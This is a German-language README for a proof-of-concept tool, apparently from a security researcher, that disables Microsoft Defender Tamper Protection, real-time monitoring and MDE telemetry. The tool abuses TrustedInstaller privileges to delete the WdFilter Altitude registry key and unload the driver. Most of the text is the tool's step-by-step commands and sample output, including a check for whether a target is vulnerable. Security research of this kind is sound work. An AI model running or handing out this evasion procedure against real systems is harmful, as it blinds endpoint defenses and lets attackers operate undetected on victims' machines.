alteredsecurity/disable-tamperprotectionEin POC zur Deaktivierung von TamperProtection und anderen Defender-/MDE-Komponenten
Es ist möglich, SYSTEM-/TrustedInstaller-Privilegien zu missbrauchen, um WdFilter-Einstellungen (ALTITUDE-Registrierungsschlüssel) zu manipulieren oder zu löschen und den Kernel-Minidriver zu entladen, um den Tamper-Schutz und andere Defender-Komponenten zu deaktivieren. Dies betrifft auch Microsoft Defender for Endpoint (MDE) und blendet MDE hinsichtlich Telemetrie und Aktivitäten auf einem Zielsystem aus.
Bei Tests wurde festgestellt, dass diese Schwachstelle die folgenden Windows-Versionen betrifft:
Blog, der den Bypass und den POC erklärt: https://www.alteredsecurity.com/post/disabling-tamper-protection-and-other-defender-mde-components
HINWEIS: VC_redist.x64.exe (MSVC-Laufzeit) muss möglicherweise auf dem Zielsystem installiert sein.
POC-Demo: https://youtu.be/MI6aVDHRix8
Der POC funktioniert in 3 Schritten (Administratorrechte erforderlich):
C:\> .\Disable-TamperProtection.exe
Sequential Usage: 1 --> 2 --> 3
1: Unload WdFilter
2: Disable Tamper Protection
3: Disable AV/MDE
4: Restore AV/MDE settings
Ein Beispiel für die Verwendung des POC ist folgendes:
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key Value: 328010
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to delete WdFilter "Altitude" regkey.
[+] Created process ID: 3744 and assigned additional token privileges.
[+] Execute option 1 to validate!
# Upon 2nd execution if the above output repeats the target isn't vulnerable
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Enumerating WdFilter information:
Next: 0 | Frame ID: 0 | No. of Instances: 4 | Name: wdfilter | Altitude: 328010
[+] Restart the system or wait a few minutes for WdFilter to unload.
[+] Execute option 1 to validate!
# Restart to crash and unload WdFilter
C:\> .\Disable-TamperProtection.exe 1
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] WDFilter has been successfully unloaded, use option 2 to disable Tamper Protection.
C:\> .\Disable-TamperProtection.exe 2
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 00000000000000C4
[!] Spawning registry with TrustedInstaller privileges to alter Defender "TamperProtection" regkey from 5 to 4.
[+] Created process ID: 7748 and assigned additional token privileges.
[+] Use option '3' to finally Disable AV/MDE.
C:\> .\Disable-TamperProtection.exe 3
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Trusted Installer handle: 000000000000011C
[!] Spawning registry with TrustedInstaller privileges to Disable 'RealtimeMonitoring' regkey.
[+] To disable other components of defender check source.
[+] Created process ID: 8040 and assigned additional token privileges.
# Restart the computer after execution to restore settings successfully
C:\> .\Disable-TamperProtection.exe 4
[+] WdFilter Altitude Registry key has been successfully deleted.
[+] Make sure to change Altitude in Source (Default: 328010) and reboot computer after execution.
[+] Trusted Installer handle: 0000000000000120
[!] Spawning registry with TrustedInstaller privileges to Enable 'RealtimeMonitoring' regkey.
[+] Created process ID: 5852 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to Enable 'TamperProtection' regkey.
[+] Created process ID: 2744 and assigned additional token privileges.
[!] Spawning registry with TrustedInstaller privileges to restore WdFilter "Altitude" regkey.
[+] Created process ID: 7044 and assigned additional token privileges.
Gepostet von: Munaf Shariff (@m3rcer)
Sicherheitsforscher bei Altered Security